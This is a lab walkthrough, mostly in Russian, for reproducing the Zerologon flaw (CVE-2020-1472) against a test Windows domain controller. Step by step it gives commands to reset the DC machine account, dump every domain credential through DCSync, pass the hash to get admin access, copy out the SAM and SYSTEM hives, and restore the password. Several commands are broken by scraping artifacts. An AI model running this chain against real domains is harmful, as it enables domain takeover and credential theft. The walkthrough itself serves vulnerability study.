
cve-2020-1472 复现利用及其exp
Воспроизведение этой уязвимости в среде Windows домена через прокси proxychains в macOS.
DC (главный контроллер домена):

Пользователь домена (хост-член домена):
Настройка прямого SOCKS5 прокси через gost.

Атакующая машина (Hacker):
Настройка proxychains4
vim /Users/xq17/.proxychains/proxychains.conf
Добавить список ProxyList
[ProxyList] socks5 10.211.55.42 8099
Инструменты атаки (Attack Tools):
1.git clone https://github.com/mstxq17/cve-2020-1472.git
2.pip3 install -r requirements.txt
Если при выполнении возникает эта ошибка:

это означает проблему с модулем impacket, попробуйте удалить его и установить последнюю версию из GitHub.
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket && pip3 install .
Проблема будет решена.
Версия на C#: https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon
Сначала попробовать использовать пароль контроллера домена, экспортировать хэш машины домена, чтобы потом сравнить с изменённым.
proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user "DC$"
Или убрать кавычки, но в Linux знак $ означает переменную, не забудьте экранировать.
proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user DC\$

Используйте zerologon_tester.py, чтобы проверить наличие уязвимости.
python3 zerologon_tester.py DC 10.211.55.38

Если возвращается Success, уязвимость присутствует.
Используйте cve-2020-1472-exploit.py для сброса учётной записи машины.
python3 cve-2020-1472-exploit.py dc$ 10.211.55.38


С помощью DCSync можно экспортировать все учётные данные пользователей домена, используя учётную запись машины контроллера домена.
Принцип:
Использование протокола DRS (Directory Replication Service) через IDL_DRSGetNCChanges для копирования учётных данных пользователей с контроллера домена.
proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass

Восстановление пароля учётной записи машины DC$ С помощью
proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass -just-dc | grep 'Administrator'
получаем хэш администратора домена.


Затем через wmic, pass the hash, получаем права локального администратора на контроллере домена (администратор домена).
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/[email protected]
Затем выполняем команды для копирования баз SAM на машину с macOS:
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save
Одиночная среда домена:
Работает отлично, после перезагрузки контроллера домена аномалий нет, но у машин-членов домена возникают проблемы с DNS, на аутентификацию это не влияет.

После восстановления пароля:

Среда с двумя доменами: главный контроллер домена DC и резервный контроллер домена DC01:

Первоначально получены хэши машин обоих контроллеров домена, они оказались разными.

Попытка атаки на вспомогательный контроллер не повлияла на главный; данные ntdis.dist были синхронизированы.

Попытка атаки на главный контроллер: net time /domain и в одиночной среде также выдаёт ошибку, но после восстановления пароля всё мгновенно возвращается в норму.
Создание новой учётной записи синхронизируется напрямую.

Изменение пароля также не влияет на синхронизацию.
Лично я не заметил проблем с выходом из домена. Рекомендую пройти по этому процессу один раз. Если возникнут вопросы, обращайтесь!

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
Извлекаем шестнадцатеричный дамп пароля учётной записи машины.

В конце выполняем:
proxychains4 python3 restorepassword.py DC@DC -target-ip 10.211.55.38 -hexpass 87e2812ccea41210c80e298c9e2a43a249d6a4056027787774340fbfd4b5f969563803b0f1bae7ccd24b29b41ae611025f1952793562d73e7f4e0f8938b3361332b35dd5ee22785b79b922149db32dc5c9301f4fd9fd090f532575bf5197a9c9230955bfd96ab928ae66b3999730c75b8545e26770816f21f2dbf9dbb19432211a91224c4c618507f7091ae09435a13a04bad5f056e72d34a96f67fa33d50e7596eca7709f398d98ba9e07407d7b2e4b937e40d1bf5ff0eb2240bdf0e8287e26ea5f8e69219fa7b1c5aa0e0bd8b992a176c32b0efb914fa6c1e53d69179110b02dfc1b1a0e53b445b92588420af18960

Видно, что информация полностью восстановлена.